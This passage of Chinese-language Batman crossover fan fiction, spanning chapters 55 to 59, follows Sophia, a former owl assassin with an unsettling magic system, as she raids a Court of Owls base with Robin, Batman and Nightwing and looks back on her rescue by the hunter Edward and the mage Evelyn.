熟悉的利器发射的声响一下触动了两人内心的警报，罗宾和索菲亚几乎同时抽出了武器，飞刀不过眨眼间就到了眼前，罗宾的长棍在手中旋转打落了那柄飞刀，紧接着索菲亚一个闪身将罗宾挡在身后用长刀将剩下的几柄飞刀一一弹开。 不过眨眼间，两柄几乎一模一样的长刀劈砍在一起发出刺耳的铮铮声，在索菲亚身后罗宾手中的长棍也迎下一阵堪称巨力的劈砍。 “当心猫头鹰法庭，时刻监视——” 几人缠斗起来，索菲亚对上那张和自己脸上几乎没有差距的利爪面具，手上却毫不留情的将长刀捅进了利爪制服在肩膀交界处露出的空隙。 “你一定要念那个破slogen吗？”索菲亚避开骨头的位置抽出长刀，随后一个侧身避开了对方向前一刺的动作“不用担心形象会被窃取，没人喜欢大半夜不睡觉打扮成难看猫头鹰出门杀人的。” 即使被蝙蝠侠制定了严格的训练计划，罗宾面对利爪这种自己不好过也要让对手难受的自杀式袭击也显然表现出了不适应，但几个呼吸下来年轻的义警很快调整好了自身状态，将自己从利爪的包围里通过走位绕了出来。 但这种不用考虑对方死活的战斗对于索菲亚来说简直如鱼得水，双方都不畏惧疼痛和死亡的情况下，谁先破坏对方的行动能力谁就占据了上位，显然索菲亚提前意识到了这点针对利爪的小窍门，用了十足的力气一脚踹在正在向索菲亚扑来的利爪腹部，过量的力气裹挟着见不得光的刺客撞破了玻璃用稀里哗啦的声响一头撞倒了一排排铁柜子，发出更加嘈杂的叮铃咣啷的巨大动静。 “索菲亚！” 伴随着罗宾的声音，索菲亚急速转头就看到了被钩爪枪硬控失去方向的另一只利爪，眼神交汇间瞬间心领神会，让出了挡在破碎玻璃前的位置，看着另一只利爪也被丢进那一排铁柜子上。 紧随其后的，便是一枚被拉开了插销的金属圆球，被以抛物线的形状丢进了破洞，在被疏忽爆发而出的寒冷覆盖之前，两人拔腿向走廊前方狂奔将被寒冰覆盖的空洞房间以及被困在其中的利爪远远甩在了身后。 第56章 接下来的进展简直比《复联二》开头捣毁九头蛇据点还要顺利, 索菲亚在进入这个据点之前就做好了密密麻麻的如同蟑螂过境一样让人头皮发麻的利爪利用人海战术来恶心敌人的准备，又或许跟恐怖片一样把包括蝙蝠侠在内的几人分散后挨个击破，但这些预想中有些棘手的情况都没有出现。 这些临时被唤醒的利爪大多没有恢复到可以作战的状态, 就被赶鸭子上架充当超级英雄扫清邪恶路上的小怪，如果是款紧张刺激的格斗游戏，大多数会被用来展现出制作组对于打戏的精妙安排, 然后被上传到各个视频网站上成为精彩画面集锦的一部分, 或许还有冲击最快通关记录可以跳过的无关紧要的组成部分。 或许不会疼痛无所畏惧的死尸确实有些难对付，但如果说大家都带了急冻设备呢？ 和我手里的急冻枪说去吧 XD 虽然没肉眼看到蝙蝠侠和利爪怎么配合偷法庭老家，但光从耳机索菲亚就能感觉对面的游刃有余，夜翼甚至有心情和林肯趁着聊天交换有关法庭的情报, 听得出来长期的过度劳作让这位优秀利爪彻底放弃了治疗, 恨不得把知道的所有情报塞进夜翼嘴里。 按照利爪的说法, 猫头鹰法庭是一个庞大的组织分布在世界各地，只要是叫得上号的国家都有法庭成员的分布，覆盖率远远超过了kfc。 而提及涉及的成员名单更是过于丰富, 从海洋到陆地, 只要是有人类生活过的在历史上念的出来的姓氏大多都包含其中, 只不过就算是常识算不上丰富的索菲亚也无法理解，光是中国的部分能做到同时集齐从唐宋元明清一直到民国时期的皇室后裔以及贵族成员。 每天开会真的不会上演全武行吗？ 能把这群不把人当人看的拟人生物聚集在一起, 法庭也是这辈子有了。 但提及哥谭本地的成员, 林肯报菜名一般把一场高档宴会有资格参加的名流都念了个遍, 索菲亚也没听到最熟悉的鲍尔斯的名字。 “只有这些？”极少插入对话的男人终于开口, 披风紧随着男人行走的动作自然的扬起，战术靴踩在地上没发出一点声音。 “我以为鲍尔斯应该名列前茅？”夜翼顺势追问道。 “如果是十年前, 当时的议长确实属于鲍尔斯, 那会法庭还遵循隐藏在黑暗的原则, 除非复杂情况不会轻易派出利爪，只不过那老头不知道发了什么疯突然要大规模量产利爪，之后的暗杀任务更是比去Costa买麦片还频繁，本来刚好饱和的工作量一下子翻了两三倍不止。” 利爪的声音因为一层又一层的头套和面具覆盖显得格外沉闷，但这不影响在场或者不在场的所有人继续听下去。 “因为我吗？”索菲亚突然出声，还没接着继续说些没用的俏皮话就被利爪打断。 “在找到你之前。”利爪沉默片刻，再次确认了答案“在玛丽亚施耐德找到你之前，上任议长威廉姆斯就突然发疯要量产利爪了。” “发生了什么？” 一片黑暗中，一直用语言发泄愤怒的利爪止住了话头没再多说一句话，只是摇了摇头。 看出来了，即使成为传奇打工人，还是无法理解关于脑子有坑的管理层一拍脑门仿佛用屁股思考的决定。 “罗宾注意九点钟方向。” 索菲亚顺着神谕的指示看过去却没找到疑似利爪的身影，正要上前查看就被罗宾拉住了利爪制服上根本遮不住屁股的破碎披风。 “我知道我知道，放心吧小鸟。” 索菲亚一把把披风从罗宾的手心扯了出来，进了九点钟方向的那个少有的不透明的房间。房间内充斥着发霉的气味，脚边堆满了各类杂物，这些乱七八糟的玩意是否还有使用价值这点先按下不表，熟悉的对于危机的本能让索菲亚下意识抬头，一眼就和挂在墙角高处的利爪对上了视线。 “你好啊同事。” 话音刚落，面前cos蜘蛛结网的利爪就被一道让索菲亚猝不及防的白光打中，伴随着远低于室温的寒气而来的便是不断蔓延的坚冰将利爪完全固定在天花板和墙壁的三面交界处。 索菲亚诧异的回头却看到罗宾还在自己身后没有进入房间，身上的冷冻装备也没有被误触的迹象，白光后凭空出现的冷冻效果让索菲亚只能想到魔法相关，而这个房间里除了刚刚进入的索菲亚和那只利爪外别无他人，总不能是这只利爪发动魔法就为了原地自杀吧。 索菲亚心里猜到了答案，装作若无其事的转身继续跟罗宾说话，实际上分出精力调出了系统的画面。 如同索菲亚预料到的一般，冷冻魔法现在进入了冷却状态，而且从时间长度索菲亚可以断定这是一个中级魔法，如果不快速离开估计连索菲亚和罗宾也会被一起被寒冰覆盖成为据点风景线的一部分——翻车的小鸟。 可是这不对。 不该是这样的。 系统虽然时常摆烂下线，在最初的指引任务后持续处于挂机状态，但是对于魔法的管控反而有很多限制。 无论什么时候哪怕索菲亚只是用了一个初级的勉强能拿来烤肉的火焰魔法，系统也是会不厌其烦地再三询问索菲亚是否确定，再加上根据魔法威力不同而随之加长的加载时间，都让索菲亚摸清了系统对于魔法的态度。 可是现在，索菲亚只是在脑子里闪过了一丝使用魔法的想法，一道需要付出一定代价的中级魔法就这样毫无提示的出现在了现实之中。 或许在其他里被系统绑定的的宿主一般不容易意识到跨过系统使用魔法的可怕之处，但是对于认识的朋友或多或少都涉及魔法领域的索菲亚来说，这简直比天方夜谭还要荒谬。 魔法的本质是等价交换，只不过比起传统意义上以物易物的形式，使用魔法的仪式则更多通过媒介将空气中看不见的魔力汇集起来汇聚成使用者想要的形式。 比如说当人想要起火，大多数人会选择钻木取火这类传统的形式来获取火焰，而魔法师就可以通过消耗部分魔力凭空制造出火焰来，但是实际上魔法师获得火焰并非是无中生有的戏法，只是能够调用普通人肉眼不可见到的事物罢了。 但这也蕴含着魔法的另一条规则——一切皆有代价。简单的魔法消耗较少，随着法师本人熟练度的提升，几乎能将损耗压在很低的水平，但想要使用效果更强的魔法除去魔力本身，还需要法师付出一定的代价，比如北欧神话里想要得到知识的众神之王奥丁就献祭了自己的眼睛。 除此之外还有什么是作为法师的要素呢？那就是恰到好处的天赋，对于大多数法师来讲只要拥有最基础的魔法天赋就可以使用魔法，如果真的到了不得不使用高级魔法的地步，开始献祭也能够弥补天赋的不足但一切的前提就是施术者必须有最基础的天赋，就像是再强大的黑客也需要一台设备一样，天赋是魔法的敲门砖。 索菲亚在刚刚离开审判庭和监护人一起生活的时候，身为半吊子法师的监护人特地找了熟悉的炼金术士，确认了一个事实。 因为饮用的药剂是改良后的残缺版的影响，索菲亚不具备那个门槛极低的能够使用魔法的天赋。 系统的绑定帮索菲亚绕过了使用魔法必须具备的天赋这一硬性条件，可是如今系统连代价这步都直接跳过几乎无中生有的放出了魔法，这种超出掌控的不安感让索菲亚几乎忘却了近在眼前的法庭的威胁。 即使索菲亚还跟在罗宾身后继续向据点内部探索，但大脑里的想法不受控制的跳出，几乎要将那点残存的理智全都淹没在思绪的惊天骇浪中。 一个索菲亚刻意回避的事实几乎将巨大的闪着红光的警告画面弹到了眼前，可回过神来，系统那蓝色的过分简约的画面仍旧看不出一丝异常。 “系统，使用初级冷冻魔法。”索菲亚和系统在意识内沟通道。 依旧是没有任何提示，一道白光几乎没有任何延迟的再次出现，带着寒气打在了阻拦在二人面前的因为断电而无法开启的玻璃门上，在低温的压力下，那道玻璃门坚持了不到半分钟就原地破碎，和破碎成不规则形状的冰凌一起将蓝色的荧光折射在空间内，光影交汇下显得格外梦幻。 “出什么事了吗？” “没有。”索菲亚快速否认，把意识完全从系统界面中抽出，回拒了同伴的关心，加快了行走的速度把罗宾落在了身后。 罗宾的眼神无法从地上的冰凌上移开，回忆起索菲亚刚才堪称异常的举动，还是快步跟了上去。 根据罗宾的观察，虽然很早就知道索菲亚能够使用魔法的能力，但是在实际行动中少女几乎很少会去主动使用这项技能，更多利用自身习得的战斗技巧来处理问题。 在蝙蝠洞内罗宾曾经向导师询问过那些自己未曾谋面的法师的日常习惯，导师思考过后用手指在键盘上敲击调出了几位法师的资料。 “据我所知，大多数掌握了魔法能力的法师都习惯了在生活中使用魔法，对于他们来说魔法只是另一种好用的工具，和我们日常使用的电器几乎没有太大的区别。” 蝙蝠侠一番话虽然没有直接说明问题但已经足够回答罗宾的疑问。 是什么情况会让一个法师束手束脚甚至去避免使用魔法呢？ 无法承担的代价？突然受伤导致无法使用魔法？ 又或许她并不是真正意义上的法师。 第57章 只能像过去一样把内心不安的情绪重新压下去, 索菲亚知道在知道自己身上到底经历了什么之前，还不到和系统撕破脸的地步。 蝙蝠侠传来通讯，他们那边找到了存放利爪的特殊实验室, 目前正在破解独立于据点的另一套系统中掌控主动权。 索菲亚听完完全做好了大战的准备，扫了一眼手里的装备，估计了一下就算是把这个据点冻成哥谭小北极也绰绰有余, 保证不让任何一只该进冷库的利爪能够逃脱。 说真的就不能把这些沉睡的利爪全都塞进集装箱里在南极挖个洞埋了吗？ 地球天然大冰柜, 极致锁鲜，超低能耗，美国队长用了都说好。 据点的构造非常离谱，以向下的电梯为中心向四周延伸, 在分开行动后索菲亚和蝙蝠侠那边的距离几乎达到了最远, 前方没有道路继续向前, 想要会合最好的办法除去老老实实顺着来路回去，就只有依靠四通八达的通风管道了。 感谢蝙蝠侠故事里除了方便剧情发展做得格外宽敞的管道，如果是自己曾经生活过的世界, 就算索菲亚能无师自通把自己和罗宾变成两只老鼠都难钻进封死的管道中。 索菲亚蹲在管道前, 带着战术手套的手抓住栏杆微微施力确认完全将栅栏完全破坏却不会因为反作用力摔倒需要的力度后, 随着肌肉发力，那道铁栅栏被索菲亚不费太多就拆了下来。 罗宾从腰带里拿出简易仪器确认空气中不包含有害成分后才和索菲亚一前一后钻了进去。 非常擅长逃避负面情绪的索菲亚顺手就把那点不安的情绪暂时压了下去, 强制自己回到了备战状态, 远超于常人的听力让这位前杀手能够听到来自更远处的细小声音。 于是当索菲亚将精力全都放在寻找声音规避风险的时候, 被头套覆盖压住的耳朵还是受到了一些影响。 罗宾在前根据传来的地图判断前进的大致方向, 索菲亚就负责判断出每个交叉口可选择的方向是否是个完全不透风的死胡同。 即使已经比寻常管道宽大不少，但比起正常的开阔环境, 弯弯绕绕的管道, 足够逼仄的让人勉强能半蹲着移动的空间大小, 较为稀薄的空气这些元素都足够让人烦躁，至少罗宾听到了身后的索菲亚彻底放弃控制自己呼吸声的音量，略微加速的呼吸将烦躁的情绪表达的过于直接。 “还有两分钟，再坚持一下。” “……我知道了。”索菲亚回应的声音很小，但随之变化的还有一起变小的呼吸声，直到罗宾无法再在空气中捕捉到足以证明少女还在正常呼吸的证据。 即便如此，罗宾还是能想象出长时间在狭窄环境下被迫束手束脚的少女被面具覆盖的脸上完全提不起一丝快乐的表情，少年将计划里那家夜巡结束后可以顺路带回来的夜宵的优先度向前提了不少。 脑海里不自觉的浮现出索菲亚摘下面具坐在天台上一口咬在裹满馅料的卷饼时所露出的愉悦到连眼睛都眯起的表情，像是日漫里的可爱女孩吃到喜欢的东西浑身会冒出粉色泡泡一样，被制服包裹的拥有紧致肌肉的小腿大概率会在空中交替着晃动，每当这时罗宾的心情也会放松些很多。 或许这就是大家喜欢在油管看吃播的原因吧。 “到了。”罗宾停了下来，指着管道下方的通风口向索菲亚示意“我来。” 经受训练后的肌肉随着小腿的动作发力，在经过少年计算过的力度下，刚好将栅栏一脚踹开而自己不会因为骤然失去施力对象跟着摔下去，在自己从幼时就崇拜的偶像蝙蝠侠和夜翼面前露出狼狈的丢人模样。 罗宾对着出口一跃而下，正好精准的落在蝙蝠侠面前，披风在身后飘扬露出黄色的内衬。蝙蝠侠依旧是分开前理性冷静的模样，听耳机里的声音几人应该和罗宾一样遇到了几波利爪，但都算不上难对付，因而当这位老练的战士再次出现在自己的学徒面前，浑身上下几乎没有一丝变化。 蝙蝠侠果然如预料般表情没有丝毫变化，让想要难得恶作剧一把的罗宾大失所望。 随后便是在管道里烦躁无比的索菲亚，一个俯冲跳了下来，随着落下后的半蹲的动作卸去了多余的力。 “情况怎么样？” 蝙蝠侠绕过罗宾，手指在设备上轻轻点击几下，索菲亚抬眼就看到卡在百分之九十的进度，便不再开口说些车轱辘话去催促。 “另一套系统有点麻烦，神谕还在试着解决防火墙，但看样子有些棘手。”夜翼从蝙蝠侠身后的阴影里走了出来，拍了拍罗宾的肩膀“干得不错罗宾。” “利爪没帮上一点忙吗？”索菲亚侧身看向站在最后的利爪，男人完全无视了少女充满审视的眼神看向了还在破解系统的蝙蝠侠的方向。 “我每次都是被人带进来的，你见谁进自己公司还要去研究防盗系统漏洞的。”利爪靠在墙上拿不知道从哪个倒霉利爪身上撕下来的披风碎片反反复复的擦去长刀上的已经发黑的血迹。 “你们有遇到难对付的利爪吗？我这都是些愣头青，反应速度不够快，下手也不够狠。”回忆起面对利爪时突然被使用的魔法，那种担心失控的情绪还是让索菲亚像是在吃香蕉的时候吃到半条还在蠕动的虫子一样无语。 “这不符合安保条例。”面具下的林肯沉思片刻给出了结论“正常情况据点中应该共有二十四个利爪进行安保工作，其中每六人一个小队，领队的队长大多数经历一定使用年限但经验丰富的老员工，也就是说找至少有四个棘手的家伙。” “可是我们一个也没遇到。”罗宾补上了林肯没说出口的那句话。 索菲亚当然也意识到了事情的严重性，虽然没有在猫头鹰法庭的记忆，但曾经身为神秘非法组织一员的索菲亚清楚的知道事情的怪异之处。 缺少固定数量的安保，要不然法庭剩下的几只猫头鹰完全把脑子扔到了eBay这类二手交易平台贴钱甩卖，要不然就是在利爪聚集的地方准备了一个特地邀请哥谭偶像蝙蝠侠参加的特殊派对。 总不能是被突然冒出来的敌人抢先一步摘走了桃子吧，这种情况蝙蝠侠不得追到天涯海角？ —————————————— 在肃穆的如同高塔一般威胁着所有人的审判庭倒塌的那天，那些用不同动物图腾代表自身的分部捏着鼻子出来应对被集结在一起的理应被审判庭刻意打散后分布在世界各地的猎魔人们。 作为大猫头鹰手下又是宠物又是下属的小猫头鹰，索菲亚没资格知道审判庭那些核心的真正要掌控世界的计划，女孩在童年时期在耳朵里来来回回进出的无聊口号，大多也都打着拯救世界，审判世界罪恶，掌控引导人类走向正轨的旗号，实际上干些和法庭大差不差的事。 那些被刻意训练出的可以夺走人生命的手段，酷刑折磨精神折磨睡眠剥夺，这些事只不过是些入门的基础课，随后便是强迫克服恐惧的训练，只可惜阿尔伯特那只大猫头鹰对于保留门徒唯一恐惧的恶趣味，导致索菲亚永远失去了克服饥饿感的勇气。 那些被索菲亚随手涂鸦在笔记本上的图腾中，狼头对应喜欢啃食人肢体内脏的狼人，蝙蝠对应热爱在活人的脖子上用嘴扎个洞吸食鲜血的吸血鬼，青蛙对应了那些抛弃道德和伦理进行实验的炼金术士，而猫头鹰则对应了喝下半成品药剂后沦为既不是猎魔人也不是人类的怪物。 即使到了穷途末路的地步，这些怪物依旧无法将信任依托给这些虚与委蛇的同伴，而那只叛徒，那只奔向了猎魔人一方的连羽毛都没长齐的小猫头鹰将自己藏在高大猎魔人的斗篷下远离了战场，用如出一辙的金色瞳孔注视着曾经囚禁自己的监狱彻底在世界上倒塌。 “你要抓走我吗？”戴着猫头鹰面具的索菲亚抬起头等待猎魔人的审判“还是说你已经决定判处我死刑？” 索菲亚不理解人类的法律和道德，只是按照导师的教导依稀知道生物界最基本的原则——欠债还钱杀人偿命，这样算来眼前能将同伴聚集在一起的正义的化身大概率会痛斥小猫头鹰为虎作伥的行为，虽然索菲亚不想这么快死掉，但这样的结局也比和阿尔伯特永远烂在泥潭里挣扎要好得多。 女孩跪坐在地上抬起了戴着面具的脑袋，露出脖颈来展现自己无害的状态，这是她在导师面前学到的足够有效的示弱方法。 男人金色的瞳孔里多了丝诧异，随后闪过大量的让索菲亚难以读懂的情绪，女孩没有起身而是静静的看着猎魔人的抉择。 “我没有资格判你死刑。”男人摇了摇头，豆大的眼泪汇集在眼眶几乎随时流出，还是和发色如出一辙的白色睫毛一遍遍扫过才将这一团生理盐水控制在了该有的位置“那些怪物杀死了太多无辜的人，他们知道自己在做什么但还是掠夺走了别人的生命，但你不一样索菲亚。” “我看了你的日记，你不喜欢这里，你想离开对吗？” 回忆起被刻意丢在男人面前的那本日记，索菲亚重重的点了点头。 “你是个好孩子，是我们这些大人没用，没有意识到这混蛋东西的存在，错的是发号施令的人，而你只是一个还没来得及长大就被铸造成刀子的孩子，你不该承担这些。” 男人再也无法控制住泪水，河流一样湍急的泪滴将那张饱经风霜但又足够年轻的脸上因为战斗留下的血痕带走，留下一道道深浅不一的有些滑稽的印子。 “可是我是杀过人的刀子。”索菲亚按部就班的回答，好奇的看向强大壮硕的男人一个人痛哭流涕的画面。 “猎魔人的手上谁还没两条命案呢？”一道清澈如同溪流的声音出现，随后便是穿着短款风衣风衣内搭方便行动的背心和工装裤的女人踩着工装靴出现在索菲亚的视野里。 那张足够艳丽但因为主人散发出的强大气场而显得有距离感的脸上蓝色的眼睛正上下打量着索菲亚，黑色的带有波浪的长发被扎在脑后显出几分干练来，女人看了看如同孩子般嚎啕大哭的猎魔人又看了看在场唯一的孩子无奈的叹了口气。 “再丧心病狂的法外狂徒也不会对小孩动手，只是我没办法放任一个小刽子手去到羊群中。” “我会看着你，直到你能正确使用自己的力量，你没有拒绝的权力。” 女人半蹲下来，额前那一缕没被扎住的头发散落在索菲亚面前，看着那双蓝色的海洋一样的眼睛，女孩做出了选择。 “我会听话的，那我一会可以吃饭吗？” “当然。” “我要吃很多饭也可以吗？” “放心，我们这里不缺饭桶。” 女人用双手拖着索菲亚的腋下抱猫一样将女孩抱了起来，随后脱下风衣将女孩包裹住，用带着半指手套的另一只空闲的手摸了摸小猫头鹰毛茸茸的黑色脑袋。 远处猎魔人还是没止住眼泪，泪眼汪汪地跟在女人和小猫头鹰的身后，渐渐消失在了夕阳下。 第58章 在那道大门终终于被蝙蝠洞内的神谕破获后缓缓打开时, 索菲亚预想了无数遍的门后会遇到的场景。 按照动作片的套路，埋伏在门后等待一声令下把几人按在身下的激烈打斗，然后蝙蝠侠夜翼罗宾加上索菲亚林肯在内的两位前利爪大家各显神通, 钩爪枪蝙蝠镖在空间内到处穿梭控制和敌人的距离，卡里棍发出电流，长刀则瞄准昔日队友最脆弱的部分痛下杀手。 索菲亚甚至想好了在打斗的空隙给罗宾捧场的台词。 “对没错, 太棒了罗宾, 怎么会有这么棒的小助手。” 但是猫头鹰法庭不出意外的出了意外，在门的背后，什么都没有发生。 没有围攻，没有暗处袭来的子弹飞镖, 没有弥漫在空气中的迷药, 哦对如果在哥谭被顺着通风管道投放的大概率是稻草人不知道多少代恐惧毒气, 也没见到和突然就决定和法庭合作的阿卡姆成员。 只是除了在内部密密麻麻的排列着存放着利爪的冷冻设备，透明的外壳让每只利爪的外形都清晰可见，大多数利爪都保持着一个安详的随时可以被下葬的动作双手交叉在胸前, 猫头鹰外形的制服上还残留着过分低温而留下的冰霜, 只可惜在封存时大多数人都带着面具, 索菲亚的眼神再怎么好也没好到隔着面具看人的能力。 身旁的利爪没有多余的反应，顺着台阶一步一步走下, 穿过一排排被当作货物一样和这个据点一起被废弃在地下的冷冻舱, 战术手套上属于猛禽的金属利爪依次划过冷冻舱的金属外壳, 发出“刺啦”的长长的尖锐噪音留下一道绵延不断的爪痕。 索菲亚站在门口看着对着操作系统沉默不语的蝙蝠侠和夜翼, 两位独立义警的态度表明了这个据点的现状并非真的如同表面般风平浪静，耳机那侧神谕同样没有说话, 只能听见键盘被飞速敲击的清脆响声。 地下的据点几乎听不到任何来自自然的声音, 索菲亚的耳朵动了又动除去机械的运转时的摩擦声, 几位受过训练的人即使没有刻意控制依旧被放缓的呼吸声，利爪正蹲在另一侧看着备注好的编号回忆对某位同事的印象，同样没什么动静。 而这种大家都在忙正事非常安静的场合让索菲亚很不适应，面具上的护目镜遮挡了部分视线，少女只能扭着脖子去找唯一的熟悉的罗宾看看他在做什么。 环视一周，索菲亚没看到那个红绿灯一样的影子，重新转回头换了个角度，才看到了被蝙蝠侠和夜翼夹在中间挡得严严实实的纤细身影。 少年似乎剪了头发，索菲亚印象里上次见到提姆，他额前的细碎刘海几乎挡住了眼睛，让人看着有几分难受只想用手将挡住那抹清澈蓝色的发丝撩拨到一旁。 现在那些头发短了很多，清晰的露出了少年柔和与锐利并存的眉眼，优越的骨相随着提姆的成长在那张脸上存在感越发高了起来，深邃的眉眼在眼下打出一片阴影将那双瞳孔笼罩其中。 提姆似乎瘦了些，在学校时他的两颊还带着些未完全消去的婴儿肥显出几分稚嫩，如今在长时间训练和夜巡的锻炼下，少年抽条般快速成长着，不过几天不见，面部的轮廓就变得更加刚硬了些。 独处时索菲亚或许还记得社交准则里的不能一直盯着别人看这一点，往往将视线放在其他地方，有时和对方对视索菲亚也还记得要及时挪开视线，而不是把对方当作猎物一样死死盯着释放压力，无端制造误会和麻烦。 但提姆的话，似乎并不介意对视，少年从小的家教让他习惯了在说话时看着对方的眼睛表达尊重和重视，因而两人刚刚成为同桌的时候，在不经意的对视下，索菲亚意识到了对方喜欢直视人的习惯，从躲避到接受到了最后少女干脆放下手上的事全身心的投入到对视这一项无声的交流中。 最后反而是提姆败下阵来，在不好意思的轻笑后，从书包里掏出了绿色包装的薄荷糖用两根手指夹着弹到了索菲亚的书桌上。 索菲亚打开了糖，被薄荷过分凉爽的味道从鼻腔彻底冲击到大脑中，半天缓不过来神，好不容易用牙齿咬碎了糖块从喉咙咽下后再次看向提姆，就看到了那双没有一丝恶意的弯弯的眉眼。 这也是索菲亚对提姆最初的记忆，正如同现在正在看着索菲亚的满含笑意的眼睛一样。 索菲亚对着提姆小幅度的挥了挥手，脸上扬起自己都没察觉到的笑意，那些烦躁和不安此时在大人的眼皮子底下就这样慢慢的被冲淡。 接下来，索菲亚不知道具体发生了什么，只是从那份自己有权限查看的文档里大概理解了发生的情况。 为什么那些利爪没有被启动？ 后期这个据点的研究中心似乎从提升利爪能力转变到了提取琥珀金上来，报告说的没头没尾，索菲亚只知道似乎在两年前法庭上层突然下达了要从即将报废的利爪身上提取琥珀金的命令。 数以万计的在这十几年内被制造出来又被评判为不合格的利爪就这样沦为了真正的一次性耗材，属于利爪身体内的远超常人的力量逐渐消退，直到最后失去了维系生命的那部分琥珀金后迎来了死亡的命运，只是依靠冷冻舱的低温来勉强维持生存迹象罢了。 因而蝙蝠侠根本不需要去打造囚禁这些利爪的特质牢房，也不需要研究销毁手段，只需要将维持冷冻舱的电源断掉，最多不超过24小时，迎接这些利爪的只有死亡这一条路。 即便如此，蝙蝠侠还是没有眼睁睁看着这群或许自愿或许被迫抛弃了人类身份的怪物不知不觉的死去，再三思索后哥谭的黑暗骑士还是决定继续维系冷冻舱的电力，只是改造了这里的操作系统，在几人离开后设置成了彻底被锁死的天然牢房。 似乎发生了很多事，但是又似乎什么都没有发生。 索菲亚不免有些恍惚，只是在即将乘坐电梯离开时，鬼迷心窍般的回头，如同墓室一样的环境让索菲亚压制已久的不安躁动了一刻，但很快又被继续压下。 ———————————————————————— 在大战后缺少了敌人的感觉，索菲亚再熟悉不过。 当年在身为猎魔人领袖的爱德华带着队友给审判庭带来毁灭的终章时，索菲亚目睹了每一场惨烈的战斗，却始终都没见到阿尔伯特的身影。 那个喜欢戏耍敌人，满肚子心眼的野心家在最适合夺权的场合没了影子，连带着参与战斗的被阿尔伯特所管辖的猫头鹰刺客们也不见了身影。 或许是被期盼已久的自由冲昏了头脑，索菲亚没有多想那只大猫头鹰的去处，跟着两位前辈在纽约从唐人街吃到市中心，每天吃的肚皮滚圆不说还要在饭后吃两个球的冰淇淋溜溜缝。 哦对了，爱德华就是那个哭的上气不接下气的丢人猎魔人，虽然有着一米九的身高搭配超过200磅的体重平日里走在路上像是一堵墙一般，实际上却是一个感情丰富憋不住眼泪的笨蛋猎人，看不出一点能够把各地不服管教的猎魔人聚集起来完成推翻审判庭义举的英雄形象。 那个穿着帅气有着蓝眼睛的姐姐则是那个负责刷卡结账的人，虽然吐槽爱德华和索菲亚是两个饭桶，但实际上她的食量同样不容小觑，三人完成了去吃omakase险些把厨师累晕的成就，而那个肚子里塞入了不少于其他二人饭量的女人摆出一副优雅的样子，吃完饭还要回去继续加班处理白天的工作。 她的名字是伊芙琳，既是优秀的法师，也是上市集团加西亚集团的总裁，只是在审判庭的事之后，她的身上多了一个身份——索菲亚布兰登的监护人。 索菲亚看着饭店里提供的波子汽水里随着气泡上下浮动的玻璃珠，在有些潮湿的带着泥土和青草气味混杂的饭店座位上等着外面“哗啦啦”的瓢泼大雨停下。 伊芙琳是唯一能喝酒的超过二十岁的成年人，为了方便工作她只喝了主厨提供的梅子酒，透亮的小小的杯子里还残留着琥珀色的酒液。暴雨也阻挡不住高级社畜一心回公司加班的心，伊芙琳用木质调的带着胡椒气味的香水在衣服上喷了喷，遮盖住微乎其微的酒气便打车离开，临走前还不忘帮一大一小两个穷鬼结了帐。 爱德华看着成熟，实际上证件上的年纪得过了圣诞节才到被允许喝酒的二十岁，面前摆了一排瓶装的草莓牛奶。 其中一瓶索菲亚尝了尝味道觉得好喝，但很快就被玻璃瓶里的弹珠吸引了视线，为了颗玻璃球喝下了一整瓶寡淡的汽水。 雨水拍打在建筑上的声音果然是天然的白噪音，索菲亚趴在桌子上看着还没关上的门，已经有些困倦。爱德华拿起玻璃瓶，金色的竖瞳被玻璃放大显得格外滑稽，让没了力气的索菲亚都忍不住轻笑。 “我还想要这个瓶子，不许弄碎。”女孩对着白色的猎魔人提出了要求。 爱德华郑重的点了点头，琢磨了半天决定把塑料的瓶口拆下来，只是手腕刚一用力，听到了玻璃破碎声音的索菲亚的耳朵立马抖了抖。 “抱歉索菲，我弄碎了，你可以先拿弹珠玩，我再去买一瓶。” “好。”索菲亚透过弹珠注视着和自己一模一样但塞满了温柔的眼睛眨了眨眼。 那颗玻璃材质的透明弹珠在桌子上滚来滚去，绕开了还没被收走的陶瓷盘子，绕开了只剩下已经被喝干净其中冰水的玻璃杯，只是在经过时蹭上了冰块融化后凝聚在杯壁上的水汽。 “抱歉，索菲。”那道充满歉意的声音再次响起。 “没关系”索菲亚下意识伸手要接过下一个没了瓶子的弹珠，却只碰到了男人的指尖。 爱德华像是碰了火一样快速收回了手，接着小心翼翼地用眼睛观察索菲亚的动作，空调的冷气有些过冷发出“呼呼”的声响，这时索菲亚才听到了爱德华的声音。 “我们没找到阿尔伯特。” 索菲亚一直以来自以为已经不会受影响的心还是停跳了一下，但很快又在长期的条件反射下恢复了正常。 “他死了吗？还是要做别的什么事？” “我不知道。”男人的语气格外低沉，那双看似像狼实际像温顺家犬的眼睛里流露出落寞“我一直不知道怎么告诉你，是不是很可笑，我说了要救你要保护你却连最大的威胁在哪里都找不到。” “但是，请你相信我，索菲亚。我们现在是同盟，就像我和伊芙琳以及亚历山大一样，你的敌人就是我的敌人，我绝不允许我的朋友在我的面前被杀死，如果有一天那个该死的家伙，那个屠夫一样的混蛋阿尔伯特出现在我的面前，即使会坐牢会入狱被剥夺一切的自由，我也愿意为了维护我的朋友去杀了他。” 索菲亚用手指勾起弹珠放在爱德华宽大而又过分温暖的掌心，眨了眨眼。 “我会自己动手。” 第59章 一行人回到蝙蝠洞时正巧赶上夜晚将要结束, 黎明前最为黑暗这段时间里大多数哥谭生物都进入了梦乡，只有这几个又是猫头鹰又是蝙蝠又是罗宾鸟的义警还活跃在哥谭上空。 林肯的结局已经注定，无论如何蝙蝠侠都无法放任一个手上有多条人命的前杀手在哥谭自由活动, 即使这位利爪有再多的苦衷童年有多不幸都无法掩盖他杀死无辜之人时手上沾染的鲜血。 索菲亚站在原地等着跟林肯一起进阿卡姆，直到蝙蝠侠把利爪放置在了蝙蝠车后的带有拘束作用的座位后重新启动引擎“轰”的一声扬长而去，也没等到入住阿卡姆成为哥谭新反派的出道机会。 “我以为我要和林肯做邻居呢？” 索菲亚频繁的眨眼企图分泌出泪水缓解因为眼球的干燥带来的不适, 之前少女还会疑惑为什么只是熬夜时间长了点就会不适, 之前做任务的时候连续通宵三四天都不成问题，现在看来原来是自己莫名其妙就老了啊。 可恶，到底是谁把还在上中学的年轻妇女变成了有三个孩子都不会让人奇怪的中年妇女了。 “就算是蝙蝠侠抓人也要证据的，我们找遍了所有的资料也没找到法庭派遣你外出执行刺杀任务的记录。” 罗宾的声音里带着些过度工作的疲惫但少年的眼睛里还透露出无限的活力。 “放心回去睡觉吧猎魔人小姐, 收尾的事交给我们这些大人就好。”远处的几乎只能看见一个黑蓝色的小点的夜翼朝索菲亚和罗宾挥了挥手。 